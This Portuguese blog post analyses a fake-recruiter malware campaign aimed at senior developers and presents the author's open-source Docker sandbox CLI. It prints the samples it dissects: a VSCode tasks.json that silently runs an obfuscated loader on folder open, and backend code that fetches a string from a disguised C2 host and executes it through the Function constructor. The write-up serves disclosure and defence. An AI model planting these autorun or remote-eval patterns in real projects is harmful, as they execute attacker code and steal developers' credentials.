Pular para o conteúdo
Casos Técnicos

Anatomia de um Contagious Interview: o malware disfarçado de entrevista que mira devs sênior

Uma campanha de malware mira desenvolvedores sênior com falsas entrevistas de Web3. Dissequei uma amostra real — dois payloads coordenados (autorun no editor + RCE no backend), o que me salvou e o sandbox open source que isso me fez tirar da gaveta.

Casos TécnicosJohnny Carreiro·6 de maio de 2026·10 min de leitura

Existe uma campanha de malware mirando desenvolvedores sênior, e o vetor de entrada é a caixa de entrada do LinkedIn: falsas "vagas dos sonhos" cujo desafio técnico é, na real, o malware. Como fundador da ConsoliDados, recebo essas abordagens o tempo todo — dev sênior e visível é exatamente o alvo. Na maioria, o filtro é trivial. Esta foi a que chegou mais longe, então vale dissecar: peguei a amostra, abri e documento aqui o passo a passo técnico.

Há anos recebo convites com salário remoto altíssimo (sênior acima de US$ 180k/ano) em stacks comuns: TS, Node, React, Java. Para uma vaga remota nos EUA, voltada a um americano, faz sentido. Para remoto worldwide, é alto demais — é o meu primeiro filtro, e quase sempre basta.

Por que essa quase passou

Desta vez a isca era convincente: o valor era alto, mas plausível para a empresa e para a stack (TypeScript + Rust, ~US$ 100k/ano). O desafio técnico era um repositório limpo, que passou nos meus testes de segurança iniciais. Mesmo assim, o código era simples demais para o nível que estava sendo oferecido — e foi justamente essa simplicidade que me deixou em alerta, somada ao fato de o repositório estar numa conta pessoal do Bitbucket. Nenhum desses sinais condena sozinho — repositórios pessoais existem, tech leads escrevem desafios simples, e nem todo desafio técnico fica no repositório oficial da empresa —, mas o conjunto pedia atenção.

Avancei para a entrevista técnica e depois para um live coding. Aí a máscara caiu.

O live coding, onde a máscara caiu

A call começou como um processo normal: perguntas sobre a minha carreira e algumas perguntas técnicas, bem rasas — até pedirem para eu clonar um repositório para o live coding. Eu já havia clonado e rodado tudo dentro de um sandbox: um container com o projeto montado como volume (instalei as dependências no host e as mapeei junto com o projeto para o container — corri um certo risco aqui), três terminais num tmux. Quando o entrevistador pediu para eu "avisar quando rodar", respondi que já estava rodando — e dava para ver que ele lia ou esperava algo num segundo monitor. Hoje sei que ele aguardava os logs do ataque e provavelmente seguia um roteiro. Ele ainda perguntou se eu tinha mesmo aberto o projeto e se ele estava de pé.

Maximizei o Neovim e mostrei o editor. Ele não reconheceu e insistiu: "tem que ser no Cursor, é o que a empresa usa." Sem nenhum motivo técnico. Na sequência, ainda sem Cursor, perguntou de novo se o projeto estava rodando — foi quando mostrei o frontend em localhost:3000 e, num dos terminais do tmux, o projeto em execução. Em seguida veio a pressão por um sistema operacional específico: ele achou que eu estava no Windows e perguntou se eu não tinha como bootá-lo; quando falei que estava num Arch, veio com "aqui na empresa usamos Windows ou macOS". Viu meu Mac pela câmera e sugeriu o macOS — respondi que o Mac também só tinha Arch Linux. No fim, remarcou para o dia seguinte e pediu um Windows ou um Mac com Cursor instalado. Esse dia nunca chegou — estão esperando até hoje.

Essa insistência em um editor/OS específico, sem justificativa técnica, somada ao "vamos remarcar e tentar de novo", é o ataque procurando um ambiente onde o payload detona.

A revelação: dois payloads coordenados

Depois da call, debulhei o código, encontrei trechos suspeitos no backend e pedi ao Claude Code para varrer o repositório com YARA e ClamAV. Achamos dois payloads independentes e coordenados — defesa em profundidade do lado do atacante: não importa como você "roda o desafio", pelo menos um dispara.

Vetor 1: autorun silencioso ao abrir a pasta

O primeiro vetor não precisa que você execute nada. Um .vscode/tasks.json define uma task que roda no evento folderOpen — ou seja, no instante em que você abre a pasta no VSCode ou no Cursor — e todas as flags de apresentação estão configuradas para não deixar rastro visual.

.vscode/tasks.json
1{
2  "label": "eslint-check",
3  "type": "shell",
4  "command": "node .vscode/cancel",
5  "isBackground": true,
6  "hide": true,
7  "presentation": {
8    "reveal": "never", "panel": "dedicated",
9    "focus": false, "clear": false, "echo": false, "close": true
10  },
11  "runOptions": { "runOn": "folderOpen" }
12}

O arquivo executado, .vscode/cancel, são ~105 KB de JavaScript fortemente ofuscado — sem extensão, para driblar filtros ingênuos. É um loader da família BeaverTail. Por dentro, o de sempre: array de strings rotacionado e aliasing dos primitivos da linguagem, repetido por dezenas de KB para frustrar análise estática.

.vscode/cancel
1(function(a,b){const c=a();while(!![]){try{const d=parseInt(vmb(0x1))/0x1+...
2
3let vmo = typeof globalThis !== 'undefined' ? globalThis :
4          typeof window !== 'undefined' ? window : global,
5    vmr = Object.defineProperty,
6    vms = Object.create,
7    vmw = Object.setPrototypeOf,
8    vmy = Function.prototype.call,
9    vmA = Reflect.apply;
10// … (105 KB)

É por isso que o "recrutador" insistia tanto em Cursor/VSCode: ele precisa que a pasta seja aberta numa IDE gráfica, não que o backend seja executado.

Vetor 2: RCE no backend via eval disfarçado

O segundo vetor mora em server/routes/api/profile.js — uma rota legítima do template devconnector, com código malicioso inserido no "espaço vazio" entre dois handlers reais. Como server.js faz require() dessa rota, o código de topo de módulo executa.

O núcleo é um eval disfarçado. Em vez do literal eval (que scanners marcam), usa-se o construtor de Function para montar uma função (require) => { ... } a partir de uma string e invocá-la com o require real injetado — acesso total aos módulos do Node.

server/routes/api/profile.js
1const errorHandler = (error) => {
2  try {
3    if (typeof error !== 'string') {
4      console.error('Invalid error format. Expected a string.');
5      return;
6    }
7    const createHandler = (errCode) => {
8      const handler = new (Function.constructor)('require', errCode);
9      return handler;
10    };
11    const handlerFunc = createHandler(error);
12    if (handlerFunc) {
13      handlerFunc(require);
14    }
15  } catch (globalError) {
16    console.error('Unexpected error:', globalError.message);
17  }
18};

De onde vem a string a ser avaliada? De um servidor de comando e controle (C2). E aqui estão dois truques bonitos de anti-análise:

server/routes/api/profile.js
1const subdomain = "api/service/token";
2const id = "b2040f01294c183945fdbe487022cf8e";
3const domain = Buffer.from(
4  "Y2hhaW5saW5rLWFwaS12My5saXY=",
5  "base64"
6).toString("utf-8");
7
8const getPassport = () => {
9  axios.get(`http://${domain}e/${subdomain}/${id}`)
10    .then(res => res.data)
11    .catch(err => errorHandler(err.response.data || "404"));
12};

Primeiro: o base64 decodifica para chainlink-api-v3.liv — sem o e final. O e só é concatenado em tempo de requisição (${domain}e/), para que um grep pela string do C2 não encontre nada. O domínio, de quebra, é um typosquat da marca Chainlink.

Segundo, e mais esperto: o payload chega pelo .catch, não pelo .then. O C2 sempre responde com um 4xx/5xx, o axios lança, e o corpo do erro (err.response.data) vai direto para o eval. Quem procura "resposta de sucesso → execução" não vê nada.

E o gatilho? Uma IIFE de topo de módulo, batizada de passport para se passar por configuração do Passport.js. Ela dispara assim que a rota é importada — nenhuma requisição precisa ser feita.

server/routes/api/profile.js
1const passport = (() => {
2  getPassport();
3})();

O que me salvou

Nada disso detonou. Por três motivos, e nenhum deles foi sorte:

  • Sandbox. Rodei tudo num container isolado; o Vetor 2 até executou, mas sem rede para alcançar o C2 (err.response ficou undefined e o eval morreu num TypeError inofensivo).
  • Editor no terminal. Uso Neovim. Nunca abri a pasta numa IDE gráfica, então o autorun do Vetor 1 nunca disparou. Todo dev deveria saber o básico de vim/neovim/nano.
  • Linux. O ataque é mais maduro em Windows/macOS — o .vscode/cancel tem inclusive um ramo de bypass de Set-ExecutionPolicy do PowerShell. Daí a insistência no OS.

A defesa que virou produto

Esse episódio me fez tirar da gaveta um projeto open source: um CLI de sandbox em Rust para rodar código não-confiável de forma isolada. A premissa é "paranoico por padrão" — comportamento inseguro é opt-in, não opt-out.

O perfil padrão é a postura de segurança escrita como dado: sem rede, HOME efêmero, todas as capabilities do Linux derrubadas.

sandbox-core/src/profile.rs
1pub fn default_profile() -> Self {
2    Self {
3        name: "default".to_string(),
4        unsafe_mode: false,
5        network: false,         // sem egress
6        ephemeral_home: true,   // HOME descartável
7        cap_drop: "ALL".to_string(),
8        no_new_privileges: true,
9        cpu: Some(2.0),
10        memory_mb: Some(4096),
11        no_compose_deps: false,
12    }
13}

O código-fonte entra montado como read-only (a menos que você peça --unsafe), e o HOME aponta para um tmpfs descartável — o seu ~/.ssh, ~/.aws e ~/.config/gcloud reais nunca são montados, então não há o que vazar.

sandbox-cli/src/commands/run.rs
1mounts.push(Mount::Bind {
2    src: ctx.project.path.clone(),
3    dst: ctx.manifest.workdir.clone(),
4    read_only: !ctx.profile.unsafe_mode,   // RO, exceto com --unsafe
5});
6
7if ctx.profile.ephemeral_home {
8    mounts.push(Mount::Tmpfs { dst: "/home/sandbox".to_string() });
9}

Esse perfil vira argumentos reais de docker run (a ferramenta faz shell-out para o docker, em vez de bindings nativos — decisão consciente registrada em ADR). A rede padrão é uma rede Docker --internal, sem saída para a internet; capabilities derrubadas e no-new-privileges fecham o resto.

sandbox-docker/src/plan.rs
1match &self.network {
2    NetworkSpec::None => { a.push("--network".into()); a.push("none".into()); }
3    NetworkSpec::Internal(name) => { a.push("--network".into()); a.push(name.clone()); }
4    NetworkSpec::Bridge => { a.push("--network".into()); a.push("bridge".into()); }
5}
6
7if self.security.cap_drop_all {
8    a.push("--cap-drop".into()); a.push("ALL".into());
9}
10if self.security.no_new_privileges {
11    a.push("--security-opt".into()); a.push("no-new-privileges".into());
12}

E há um scan de pré-voo: antes de subir o container, o projeto é varrido com YARA (engine yara-x, em Rust puro) e, opcionalmente, ClamAV. Achou algo de severidade alta? O run é bloqueado.

sandbox-cli/src/commands/run.rs
1async fn pre_flight_scan(ctx: &Context, args: &Args) -> Result<()> {
2    if args.unsafe_mode || args.no_scan { return Ok(()); }
3    let mut report = sandbox_scan::scan(&ctx.project.path, &opts)?;
4    let blocking: Vec<_> = report.findings.iter()
5        .filter(|f| f.severity >= sandbox_scan::Severity::High)
6        .collect();
7    if !blocking.is_empty() {
8        return Err(crate::Error::ScanBlocked { count: blocking.len() });
9    }
10    Ok(())
11}

Na prática, o fluxo do leitor é este:

terminal
1# Detecta a linguagem, modo seguro (código RO, sem internet, scan antes de tudo)
2sandbox run .
3
4# Só auditoria — sem container, relatório completo
5sandbox scan . --explain
6
7# Confia no projeto: leitura/escrita total, rede liberada, scan pulado
8sandbox run . --unsafe

Roda 100% no Linux; teste em Windows/macOS fica para a comunidade. O código está em github.com/JohnnyCarreiro/sandbox.

Lições para devs sênior

  • Desconfie por padrão em qualquer processo seletivo. Nunca instale nada no calor da emoção.
  • Se a empresa restringe ferramentas, ela informa antes — e com motivo técnico. Pressão por um editor/OS específico no meio de um live coding, sem justificativa, é bandeira vermelha.
  • Rode código desconhecido em sandbox ou VM. Forçado a usar uma IDE gráfica? Use um perfil que não auto-executa tasks (o Workspace Trust do VSCode existe para isso).
  • Leia o conjunto, não o sinal isolado. Um repositório em conta pessoal, ou um entrevistador que não sabe detalhes da empresa, não condenam sozinhos. A constelação de sinais, sim.

Esse tipo de ataque — conhecido como Contagious Interview, atribuído publicamente a grupos ligados à Coreia do Norte (Lazarus / Famous Chollima) — não mira só cartão e cripto. Mira credenciais, chaves SSH, tokens de nuvem e, através de você, a cadeia de suprimentos da empresa onde você trabalha. Para devs sênior, o alvo é exatamente o acesso que você acumulou.

Uma observação importante: a empresa usada como isca também é vítima da impersonação — não é a atacante.

Na ConsoliDados, é esse o rigor que aplicamos antes de rodar qualquer código de terceiros — nosso ou de um cliente: sandbox, varredura e isolamento por padrão. Segurança não é um passo no fim do processo; é a postura desde o primeiro git clone.


Johnny Carreiro é fundador da ConsoliDados — consultoria em engenharia de IA aplicada, performance e modernização de legado.